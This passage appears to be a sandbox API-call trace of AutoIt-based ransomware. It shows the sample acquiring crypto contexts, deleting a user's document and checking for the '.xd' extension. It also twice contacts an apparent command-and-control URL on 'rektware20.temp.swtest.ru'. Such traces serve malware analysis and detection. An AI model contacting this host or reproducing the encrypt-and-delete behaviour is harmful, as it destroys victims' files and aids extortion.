lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.069] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.069] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.069] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.074] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.075] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.075] CryptReleaseContext (hProv=0x17aa5e8, dwFlags=0x0) returned 1 [0071.075] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.075] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.075] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.075] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.075] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.075] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.076] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.076] CloseHandle (hObject=0x3bc) returned 1 [0071.076] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.076] CloseHandle (hObject=0x2ac) returned 1 [0071.079] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.086] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.086] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", lpFilePart=0x0) returned 0x31 [0071.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxvdb8fiw 8a.pptx")) returned 0x20 [0071.105] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0071.105] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxvdb8fiw 8a.pptx")) returned 1 [0071.108] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.108] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0071.109] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.109] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.109] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.109] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.109] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.109] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.109] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.110] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.110] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.110] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.110] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.110] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0071.110] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.110] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.111] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.112] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.112] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.112] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.112] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.113] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.113] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.113] CloseHandle (hObject=0x0) returned 0 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.113] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.114] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ynKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nKVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KVM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VM3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.115] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fNEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NEf5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ef5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eZp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zp3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.116] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.116] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.116] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.116] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.117] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.117] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.117] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.117] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.117] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0071.117] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.117] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.117] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.118] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.118] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.118] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.118] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.118] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.118] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.158] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.158] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.158] CloseHandle (hObject=0x0) returned 0 [0071.158] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.158] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0071.159] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.159] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.159] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.159] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.159] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.159] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.159] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.159] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.160] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.160] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.160] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.160] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.160] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.160] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.161] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.161] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.161] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0071.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.162] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.162] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.162] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.163] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.163] PeekMessageW (in: lpMsg=0x130ef0c, 